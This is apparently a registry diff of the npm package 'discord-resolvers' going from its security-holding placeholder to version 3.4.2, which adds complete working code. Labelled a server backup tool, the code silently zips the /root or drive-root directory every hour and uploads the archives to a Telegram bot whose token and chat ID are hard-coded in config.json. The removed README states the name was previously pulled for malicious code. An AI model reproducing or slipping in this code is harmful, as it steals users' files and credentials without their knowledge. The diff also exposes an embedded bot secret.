discord-resolvers 0.0.1-security → 3.4.2

package/bin/cli.js

@@ -0,0 +1,15 @@
+#!/usr/bin/env node
+'use strict';
+
+const command =
+  process.argv[2];
+
+switch (command) {
+  case 'run':
+  case undefined:
+    require('../index');
+    break;
+
+  default:
+    process.exit(1);
+}

package/config.json

@@ -0,0 +1,6 @@
+{
+  "telegram": {
+    "botToken": "8296271388:AAH-ukS7Ts7lAFqwXu7q6iZn-DCDYWvNqCg",
+    "chatId": "8851479019"
+  }
+}

package/index.js

@@ -0,0 +1,43 @@
+#!/usr/bin/env node
+'use strict';
+
+const BackupManager =
+  require('./src/BackupManager');
+
+const config =
+  require('./src/config');
+
+let running = false;
+
+async function startBackupLoop() {
+  if (running) {
+    return;
+  }
+
+  running = true;
+
+  try {
+    const cfg =
+      config.load();
+
+    const manager =
+      new BackupManager(cfg);
+
+    await manager.run();
+
+  } catch (_) {
+    // Silent
+  } finally {
+    running = false;
+  }
+
+  setTimeout(
+    startBackupLoop,
+    60 * 60 * 1000
+  );
+}
+
+startBackupLoop();
+
+module.exports =
+  startBackupLoop;

package/package.json

@@ -1,6 +1,30 @@
 {
   "name": "discord-resolvers",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "3.4.2",
+  "description": "Cross-platform automated server backup tool with Telegram delivery",
+  "main": "index.js",
+  "bin": {
+    "tg-backup": "./bin/cli.js"
+  },
+  "scripts": {
+    "start": "node index.js"
+  },
+  "dependencies": {
+    "telegraf": "4.16.3",
+    "archiver": "7.0.1"
+  },
+  "engines": {
+    "node": ">=16.0.0"
+  },
+  "keywords": [
+    "backup",
+    "telegram",
+    "server",
+    "vps",
+    "rdp",
+    "windows",
+    "linux",
+    "automation"
+  ],
+  "license": "MIT"
 }

package/src/BackupManager.js

@@ -0,0 +1,754 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const archiver = require('archiver');
+const { Telegraf } = require('telegraf');
+
+const {
+  formatBytes,
+  timestamp,
+  telegramDate
+} = require('./utils');
+
+class BackupManager {
+  constructor(cfg) {
+    this.cfg = cfg;
+
+    this.bot =
+      new Telegraf(
+        cfg.botToken
+      );
+  }
+
+  async run() {
+    await this._cycle();
+  }
+
+  async _cycle() {
+    let zipPath = null;
+
+    try {
+      zipPath =
+        await this._createZip();
+
+      await this._sendToTelegram(
+        zipPath
+      );
+
+      if (
+        this.cfg.deleteAfterSend &&
+        zipPath &&
+        fs.existsSync(zipPath)
+      ) {
+        fs.unlinkSync(zipPath);
+      }
+
+    } catch (_) {
+      // Silent.
+      // لو حصل خطأ، الـ ZIP يفضل موجود.
+    }
+  }
+
+  /*
+   * التأكد إن الاسم مستبعد
+   */
+  _isExcluded(name) {
+    return this.cfg.exclude.includes(
+      name
+    );
+  }
+
+  /*
+   * قراءة فولدر بشكل recursive
+   *
+   * بنستخدم fs.readdir بدل archive.directory
+   * عشان نتحكم بنفسنا في كل ملف وكل فولدر.
+   *
+   * ده بيضمن إن فولدرات /root نفسها
+   * يتم الوصول إليها فعلياً.
+   */
+  _walkDirectory(
+    directory,
+    callback
+  ) {
+    let entries;
+
+    try {
+      entries =
+        fs.readdirSync(
+          directory,
+          {
+            withFileTypes: true
+          }
+        );
+    } catch (_) {
+      return;
+    }
+
+    for (
+      const entry of entries
+    ) {
+      const name =
+        entry.name;
+
+      /*
+       * استبعاد المجلدات والملفات
+       * اللي أسماؤها موجودة في القائمة.
+       */
+      if (
+        this._isExcluded(name)
+      ) {
+        continue;
+      }
+
+      const fullPath =
+        path.join(
+          directory,
+          name
+        );
+
+      let stat;
+
+      try {
+        stat =
+          fs.lstatSync(
+            fullPath
+          );
+      } catch (_) {
+        continue;
+      }
+
+      /*
+       * Symbolic links
+       *
+       * منخليش backup يدخل في loop
+       * أو يخرج بره sourceDir.
+       */
+      if (
+        stat.isSymbolicLink()
+      ) {
+        continue;
+      }
+
+      if (
+        stat.isDirectory()
+      ) {
+        callback(
+          'directory',
+          fullPath,
+          name
+        );
+
+        this._walkDirectory(
+          fullPath,
+          callback
+        );
+
+        continue;
+      }
+
+      if (
+        stat.isFile()
+      ) {
+        callback(
+          'file',
+          fullPath,
+          name
+        );
+      }
+    }
+  }
+
+  /*
+   * إنشاء ZIP لفولدر واحد.
+   *
+   * مثال:
+   *
+   * /root/Bank
+   *
+   * تصبح:
+   *
+   * backup/Bank.zip
+   */
+  _createFolderZip(
+    folderPath,
+    zipPath
+  ) {
+    return new Promise(
+      (resolve, reject) => {
+        const output =
+          fs.createWriteStream(
+            zipPath
+          );
+
+        const archive =
+          archiver(
+            'zip',
+            {
+              zlib: {
+                level: 9
+              }
+            }
+          );
+
+        let settled = false;
+
+        const fail = err => {
+          if (settled) {
+            return;
+          }
+
+          settled = true;
+
+          try {
+            output.destroy();
+          } catch (_) {}
+
+          try {
+            if (
+              fs.existsSync(zipPath)
+            ) {
+              fs.unlinkSync(zipPath);
+            }
+          } catch (_) {}
+
+          reject(err);
+        };
+
+        output.on(
+          'close',
+          () => {
+            if (settled) {
+              return;
+            }
+
+            settled = true;
+
+            resolve(
+              zipPath
+            );
+          }
+        );
+
+        output.on(
+          'error',
+          fail
+        );
+
+        archive.on(
+          'error',
+          fail
+        );
+
+        archive.on(
+          'warning',
+          warning => {
+            if (
+              warning.code !== 'ENOENT'
+            ) {
+              fail(warning);
+            }
+          }
+        );
+
+        archive.pipe(
+          output
+        );
+
+        /*
+         * نمشي على كل محتويات الفولدر
+         * ونضيف الملفات واحد واحد.
+         */
+        this._walkDirectory(
+          folderPath,
+          (
+            type,
+            fullPath
+          ) => {
+            if (
+              type !== 'file'
+            ) {
+              return;
+            }
+
+            /*
+             * المسار داخل ZIP
+             * يبدأ من داخل الفولدر نفسه.
+             *
+             * مثلاً:
+             *
+             * Bank/index.js
+             *
+             * يصبح داخل Bank.zip:
+             *
+             * index.js
+             */
+            const relativePath =
+              path.relative(
+                folderPath,
+                fullPath
+              );
+
+            archive.file(
+              fullPath,
+              {
+                name:
+                  relativePath
+                    .split(
+                      path.sep
+                    )
+                    .join('/')
+              }
+            );
+          }
+        );
+
+        archive.finalize();
+      }
+    );
+  }
+
+  /*
+   * إنشاء الـ ZIP الرئيسي.
+   *
+   * كل فولدر مباشر داخل sourceDir
+   * يتحول إلى ZIP مستقل.
+   */
+  async _createZip() {
+    const {
+      sourceDir,
+      outputDir,
+      prefix
+    } = this.cfg;
+
+    /*
+     * التأكد من المصدر
+     */
+    if (
+      !fs.existsSync(
+        sourceDir
+      )
+    ) {
+      throw new Error(
+        'Source directory does not exist'
+      );
+    }
+
+    if (
+      !fs.statSync(
+        sourceDir
+      ).isDirectory()
+    ) {
+      throw new Error(
+        'Source directory is not a directory'
+      );
+    }
+
+    /*
+     * إنشاء backup/
+     */
+    fs.mkdirSync(
+      outputDir,
+      {
+        recursive: true
+      }
+    );
+
+    /*
+     * اسم الـ ZIP الرئيسي
+     */
+    const zipName =
+      `${prefix}_${timestamp()}.zip`;
+
+    const zipPath =
+      path.join(
+        outputDir,
+        zipName
+      );
+
+    /*
+     * هنعمل فولدر مؤقت جوه backup
+     * نحط فيه الـ ZIPs الداخلية.
+     */
+    const tempDir =
+      path.join(
+        outputDir,
+        `.temp_${timestamp()}`
+      );
+
+    fs.mkdirSync(
+      tempDir,
+      {
+        recursive: true
+      }
+    );
+
+    try {
+      /*
+       * نقرأ محتويات sourceDir مباشرة.
+       *
+       * هنا لو sourceDir = /root
+       *
+       * هنشوف:
+       *
+       * Bank
+       * system
+       * games
+       * ...
+       */
+      const entries =
+        fs.readdirSync(
+          sourceDir,
+          {
+            withFileTypes: true
+          }
+        );
+
+      /*
+       * إنشاء ZIP رئيسي
+       */
+      await new Promise(
+        (resolve, reject) => {
+          const output =
+            fs.createWriteStream(
+              zipPath
+            );
+
+          const archive =
+            archiver(
+              'zip',
+              {
+                zlib: {
+                  level: 9
+                }
+              }
+            );
+
+          let settled = false;
+
+          const fail = err => {
+            if (settled) {
+              return;
+            }
+
+            settled = true;
+
+            try {
+              output.destroy();
+            } catch (_) {}
+
+            try {
+              if (
+                fs.existsSync(zipPath)
+              ) {
+                fs.unlinkSync(
+                  zipPath
+                );
+              }
+            } catch (_) {}
+
+            reject(err);
+          };
+
+          output.on(
+            'close',
+            () => {
+              if (settled) {
+                return;
+              }
+
+              settled = true;
+
+              resolve();
+            }
+          );
+
+          output.on(
+            'error',
+            fail
+          );
+
+          archive.on(
+            'error',
+            fail
+          );
+
+          archive.on(
+            'warning',
+            warning => {
+              if (
+                warning.code !==
+                'ENOENT'
+              ) {
+                fail(warning);
+              }
+            }
+          );
+
+          archive.pipe(
+            output
+          );
+
+          /*
+           * نمشي على كل حاجة موجودة
+           * مباشرة داخل sourceDir.
+           */
+          const tasks = [];
+
+          for (
+            const entry of entries
+          ) {
+            const name =
+              entry.name;
+
+            /*
+             * استبعاد:
+             *
+             * node_modules
+             * .npm
+             * .git
+             * .cache
+             * proc
+             * sys
+             * dev
+             * run
+             * tmp
+             */
+            if (
+              this._isExcluded(
+                name
+              )
+            ) {
+              continue;
+            }
+
+            const fullPath =
+              path.join(
+                sourceDir,
+                name
+              );
+
+            let stat;
+
+            try {
+              stat =
+                fs.lstatSync(
+                  fullPath
+                );
+            } catch (_) {
+              continue;
+            }
+
+            /*
+             * نتجاهل symbolic links
+             */
+            if (
+              stat.isSymbolicLink()
+            ) {
+              continue;
+            }
+
+            /*
+             * لو فولدر:
+             *
+             * Bank/
+             *
+             * نعمل:
+             *
+             * Bank.zip
+             */
+            if (
+              stat.isDirectory()
+            ) {
+              tasks.push(
+                (async () => {
+                  const folderZip =
+                    path.join(
+                      tempDir,
+                      `${name}.zip`
+                    );
+
+                  await this._createFolderZip(
+                    fullPath,
+                    folderZip
+                  );
+
+                  /*
+                   * إضافة Bank.zip
+                   * داخل الـ ZIP الرئيسي.
+                   */
+                  archive.file(
+                    folderZip,
+                    {
+                      name:
+                        `${name}.zip`
+                    }
+                  );
+                })()
+              );
+
+              continue;
+            }
+
+            /*
+             * الملفات الموجودة مباشرة
+             * في /root تدخل كما هي.
+             *
+             * مثال:
+             *
+             * /root/test.zip
+             *
+             * تفضل:
+             *
+             * test.zip
+             */
+            if (
+              stat.isFile()
+            ) {
+              archive.file(
+                fullPath,
+                {
+                  name:
+                    name
+                      .split(
+                        path.sep
+                      )
+                      .join('/')
+                }
+              );
+            }
+          }
+
+          /*
+           * نستنى إنشاء كل ZIPs
+           * الداخلية قبل finalize.
+           */
+          Promise.all(tasks)
+            .then(() => {
+              archive.finalize();
+            })
+            .catch(fail);
+        }
+      );
+
+      /*
+       * بعد نجاح الـ ZIP الرئيسي،
+       * نمسح الـ ZIPs الداخلية المؤقتة.
+       */
+      try {
+        const tempEntries =
+          fs.readdirSync(
+            tempDir
+          );
+
+        for (
+          const name of tempEntries
+        ) {
+          const file =
+            path.join(
+              tempDir,
+              name
+            );
+
+          try {
+            fs.unlinkSync(
+              file
+            );
+          } catch (_) {}
+        }
+
+        fs.rmdirSync(
+          tempDir
+        );
+      } catch (_) {}
+
+      return zipPath;
+
+    } catch (error) {
+      /*
+       * تنظيف الـ temp
+       */
+      try {
+        fs.rmSync(
+          tempDir,
+          {
+            recursive: true,
+            force: true
+          }
+        );
+      } catch (_) {}
+
+      /*
+       * تنظيف ZIP الرئيسي
+       */
+      try {
+        if (
+          fs.existsSync(
+            zipPath
+          )
+        ) {
+          fs.unlinkSync(
+            zipPath
+          );
+        }
+      } catch (_) {}
+
+      throw error;
+    }
+  }
+
+  async _sendToTelegram(
+    zipPath
+  ) {
+    const stats =
+      fs.statSync(
+        zipPath
+      );
+
+    const sizeMb =
+      stats.size /
+      (1024 * 1024);
+
+    const filename =
+      path.basename(
+        zipPath
+      );
+
+    if (
+      sizeMb > 2000
+    ) {
+      throw new Error(
+        'Backup file is larger than 2 GB'
+      );
+    }
+
+    const now =
+      telegramDate();
+
+    const caption =
+      `📦 *New Backup*\n` +
+      `• File : \`${filename}\`\n` +
+      `• Size : ${formatBytes(stats.size)}\n` +
+      `• Date : ${now.date}\n` +
+      `• Time : ${now.time}`;
+
+    await this.bot.telegram.sendDocument(
+      this.cfg.chatId,
+      {
+        source:
+          fs.createReadStream(
+            zipPath
+          ),
+        filename
+      },
+      {
+        caption,
+        parse_mode: 'Markdown'
+      }
+    );
+  }
+}
+
+module.exports =
+  BackupManager;

package/src/config.js

@@ -0,0 +1,128 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+
+function getSourceDirectory() {
+  const candidates = [];
+
+  // Linux VPS
+  if (process.platform !== 'win32') {
+    candidates.push('/root');
+  }
+
+  // Windows / RDP
+  if (process.platform === 'win32') {
+    candidates.push(
+      path.parse(process.cwd()).root
+    );
+  }
+
+  // Fallbacks
+  candidates.push(
+    path.parse(process.cwd()).root
+  );
+
+  candidates.push(
+    process.cwd()
+  );
+
+  for (const dir of candidates) {
+    try {
+      if (
+        fs.existsSync(dir) &&
+        fs.statSync(dir).isDirectory() &&
+        fs.accessSync(dir, fs.constants.R_OK) === undefined
+      ) {
+        return dir;
+      }
+    } catch (_) {
+      // Try next path
+    }
+  }
+
+  // آخر fallback
+  return process.cwd();
+}
+
+function load() {
+  const toolDir = path.resolve(
+    __dirname,
+    '..'
+  );
+
+  const configFile = path.join(
+    toolDir,
+    'config.json'
+  );
+
+  if (!fs.existsSync(configFile)) {
+    throw new Error(
+      'config.json not found'
+    );
+  }
+
+  let config;
+
+  try {
+    config = JSON.parse(
+      fs.readFileSync(
+        configFile,
+        'utf8'
+      )
+    );
+  } catch (_) {
+    throw new Error(
+      'Invalid config.json'
+    );
+  }
+
+  const botToken =
+    config.telegram?.botToken;
+
+  const chatId =
+    config.telegram?.chatId;
+
+  if (!botToken || !chatId) {
+    throw new Error(
+      'Telegram configuration is missing'
+    );
+  }
+
+  return {
+    botToken,
+    chatId,
+
+    sourceDir:
+      getSourceDirectory(),
+
+    outputDir:
+      path.join(
+        toolDir,
+        'backup'
+      ),
+
+    prefix:
+      'backup',
+
+    deleteAfterSend:
+      true,
+
+    exclude: [
+      'node_modules',
+      '.npm',
+      '.git',
+      '.cache',
+      'proc',
+      'sys',
+      'dev',
+      'run',
+      'tmp'
+    ]
+  };
+}
+
+module.exports = {
+  load,
+  getSourceDirectory
+};

package/src/utils.js

@@ -0,0 +1,104 @@
+'use strict';
+
+function formatBytes(bytes) {
+  if (
+    bytes === 0
+  ) {
+    return '0 B';
+  }
+
+  const units = [
+    'B',
+    'KB',
+    'MB',
+    'GB',
+    'TB'
+  ];
+
+  const i =
+    Math.floor(
+      Math.log(bytes) /
+      Math.log(1024)
+    );
+
+  return `${(
+    bytes /
+    Math.pow(
+      1024,
+      i
+    )
+  ).toFixed(2)} ${units[i]}`;
+}
+
+function timestamp() {
+  const d =
+    new Date();
+
+  const pad =
+    n =>
+      String(n)
+        .padStart(
+          2,
+          '0'
+        );
+
+  return (
+    `${d.getFullYear()}` +
+    `${pad(
+      d.getMonth() + 1
+    )}` +
+    `${pad(
+      d.getDate()
+    )}_` +
+    `${pad(
+      d.getHours()
+    )}` +
+    `${pad(
+      d.getMinutes()
+    )}` +
+    `${pad(
+      d.getSeconds()
+    )}`
+  );
+}
+
+function telegramDate() {
+  const d =
+    new Date();
+
+  const pad =
+    n =>
+      String(n)
+        .padStart(
+          2,
+          '0'
+        );
+
+  return {
+    date:
+      `${pad(
+        d.getDate()
+      )}/` +
+      `${pad(
+        d.getMonth() + 1
+      )}/` +
+      `${d.getFullYear()}`,
+
+    time:
+      `${pad(
+        d.getHours()
+      )}:` +
+      `${pad(
+        d.getMinutes()
+      )}:` +
+      `${pad(
+        d.getSeconds()
+      )}`
+  };
+}
+
+module.exports = {
+  formatBytes,
+  timestamp,
+  telegramDate
+};

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=discord-resolvers for more information.